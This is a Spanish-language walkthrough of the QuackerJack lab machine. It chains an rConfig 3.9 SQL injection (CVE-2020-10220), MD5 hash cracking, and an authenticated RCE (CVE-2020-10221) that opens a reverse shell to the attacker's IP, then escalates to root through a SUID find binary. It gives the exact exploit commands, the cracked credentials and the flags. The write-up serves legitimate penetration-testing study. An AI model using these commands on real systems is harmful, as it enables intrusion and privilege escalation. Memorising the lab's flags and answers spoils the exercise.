the_open_door
café
ESEN

QuackerJack

Proving Grounds PracticeMediaLinux192.168.233.57

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#rconfig#cve-2020-10220#cve-2020-10221#sql-injection#md5-cracking#authenticated-rce#suid#find#oscp
TL;DR. QuackerJack sirve rConfig v3.9 en el puerto 8081. Una inyección SQL sin autenticar (CVE-2020-10220) filtra el hash MD5 del administrador, que crackeamos a abgrtyu (crackeo de hashes). Con esas credenciales lanzamos la RCE autenticada (CVE-2020-10221) y caemos como apache. El binario find tiene el bit SUID, así que find . -exec /bin/sh -p nos da root (abuso de binarios SUID).

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. El barrido completo destapa ocho puertos:

ping -c 1 192.168.233.57
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.233.57
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  netbios-ssn
3306/tcp open  mysql
8081/tcp open  http
nmap -p21,22,80,111,139,445,3306,8081 -sCV 192.168.233.57 -oN targetedScan
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.2
22/tcp   open  ssh         OpenSSH 7.4 (protocol 2.0)
80/tcp   open  http        Apache httpd 2.4.6 ((CentOS) ... PHP/5.4.16)
111/tcp  open  rpcbind     2-4 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X
445/tcp  open  netbios-ssn Samba smbd 4.10.4
3306/tcp open  mysql       MariaDB 10.3.23 or earlier (unauthorized)
8081/tcp open  http        Apache httpd 2.4.6 ((CentOS) ... PHP/5.4.16)

Aunque el SMB se anuncia como "Windows 6.1", es Samba sobre CentOS (lo confirma la cabecera de Apache). El FTP acepta login anónimo pero el listado expira (TIMEOUT), un callejón sin salida. El puerto 80 solo muestra la página de prueba por defecto de CentOS. El servicio interesante es el 8081.

rConfig - TCP 8081

El 8081 aloja rConfig, una aplicación web de gestión de configuraciones de red. La pantalla de acceso delata la versión: v3.9.

Panel de login de rConfig v3.9 en el puerto 8081

searchsploit devuelve dos vulnerabilidades encadenables para esa versión: una SQLi sin autenticar y una RCE autenticada.

searchsploit rconfig 3.9
rConfig 3.9 - 'searchColumn' SQL Injection                       | php/webapps/48208.py
rConfig 3.93 - 'ajaxAddTemplate.php' Authenticated Remote Code Execution | php/webapps/48207.py

Explotación

CVE-2020-10220: inyección SQL y hash del administrador

El parámetro searchColumn de rConfig es inyectable sin autenticación. El exploit 48208.py automatiza la extracción: saca el nombre de la base de datos (rconfig) y el primer usuario, el administrador, con su hash MD5. Lo copiamos con searchsploit -m y lo renombramos a exp.py:

searchsploit -m php/webapps/48208.py
mv 48208.py exp.py
python3 exp.py https://192.168.233.57:8081

Tal cual, el exploit no llega a terminar: el servicio va por HTTPS con un certificado autofirmado, y requests aborta la conexión al no poder validarlo:

Primera ejecución del exploit: tras Triggering the payloads, un traceback de urllib3/ssl al validar el certificado

rconfig 3.9 - SQL Injection PoC
[+] Triggering the payloads on https://192.168.233.57:8081/commands.inc.php
[+] Extracting the current DB name :
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 464, in _make_request
    self._validate_conn(conn)
  ...
  File "/usr/lib/python3/dist-packages/urllib3/util/ssl_.py", line 524, in _ssl_wrap_socket_impl
    return ssl_context.wrap_socket(sock, server_hostname=server_hostname)

El arreglo es de una línea: en la función extractDBinfos se le dice a requests que no verifique el certificado.

# exploit_req = request.get(encoded_request)          # línea original
exploit_req = request.get(encoded_request, verify=False)   # modificada

Con ese cambio el exploit recorre la inyección hasta el final:

La SQLi extrae la base de datos rconfig y el hash MD5 del usuario admin

[+] Extracting the current DB name : rconfig
[+] Extracting 10 first users :
admin:1:dc40b85276a1f4d7cb35f154236aa1b2

El hash dc40b85276a1f4d7cb35f154236aa1b2 es un MD5 sin sal, así que en lugar de tirar de fuerza bruta lo buscamos en una base de datos de hashes ya resueltos (crackeo de hashes). Está cazado:

El hash MD5 aparece resuelto: la contraseña de admin es abgrtyu

dc40b85276a1f4d7cb35f154236aa1b2:abgrtyu

La contraseña de admin es abgrtyu.

CVE-2020-10221: RCE autenticada

Levantamos nc en el 22 (el puerto de retorno que usa el exploit):

penelope 22

Con credenciales válidas entra en juego la segunda CVE: ajaxAddTemplate.php ejecuta comandos con los parámetros que recibe una vez autenticado. El exploit 48207.py hace login y dispara una reverse shell; lo pasamos por Python 2. Lo copiamos con searchsploit -m e indicamos usuario, contraseña, nuestra IP y el puerto de escucha:

searchsploit -m php/webapps/48207.py
python2 48207.py https://192.168.233.57:8081/ admin abgrtyu 192.168.45.219 22

La RCE autenticada devuelve una reverse shell como el usuario apache

(Penelope)> listeners add -p 22
[+] Got reverse shell from quackerjack~192.168.233.57-Linux-x86_64  Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python!
bash-4.2$ whoami
apache

El exploit se autentica, dispara el RCE y Penelope promociona la conexión a PTY: recibimos la shell como apache.

Local

cat /home/rconfig/local.txt && whoami && ip a && hostname

local.txt leída como apache en quackerjack

cfe6ba5856c6efc65b9e9ac1cc669521
apache

Escalada de privilegios

SUID find

Buscamos binarios con el bit SUID activado y aparece uno que no es habitual: /usr/bin/find:

find / -perm -4000 2>/dev/null
/usr/bin/find
/usr/bin/chage
/usr/bin/gpasswd
...

find puede ejecutar comandos con -exec. Como corre con SUID root, si lanzamos una shell con -p (que preserva el UID efectivo) obtenemos una shell de root (abuso de binarios SUID):

find . -exec /bin/sh -p \; -quit

El SUID find lanza /bin/sh -p y whoami devuelve root

bash-4.2$ find . -exec /bin/sh -p \; -quit
sh-4.2# whoami
root

Como find corre con SUID root y -p conserva el UID efectivo, la shell resultante es de root.

Root

cat /root/proof.txt && whoami && ip a && hostname

proof.txt leída como root en quackerjack

fb71af2445c2e4fb7632aa67253fdcaf
root

Cadena de ataque

HTTP (8081)  --  rConfig v3.9
        │  CVE-2020-10220: SQLi -> hash MD5 de admin
        │  crackeo del hash -> abgrtyu
        │  CVE-2020-10221: RCE autenticada -> reverse shell
        ▼
apache  (local.txt)
        │  SUID find -> find . -exec /bin/sh -p
        ▼
root  (proof.txt)

Lecciones aprendidas

  • Dos CVEs se encadenan mejor que una. La SQLi por sí sola solo daba un hash; combinada con la RCE autenticada cerró el acceso inicial. Buscar todas las vulnerabilidades de una versión, no la primera, revela la cadena completa.
  • Un MD5 sin sal no necesita fuerza bruta. El hash del administrador estaba en bases de datos públicas de hashes resueltos. Antes de montar hashcat, comprobar si alguien ya lo rompió ahorra tiempo.
  • find con SUID es root inmediato. Su -exec ejecuta cualquier binario con el UID del dueño; con el bit SUID root y -p, la shell hereda los privilegios. Ningún binario de propósito general debería llevar SUID.
  • No todo puerto abierto es un camino. FTP anónimo y el 80 eran ruido; identificar rápido cuál servicio (8081, rConfig) sostenía la caja evitó perder tiempo en callejones sin salida.
Cheatsheet de comandos 9 comandos

Repaso rápido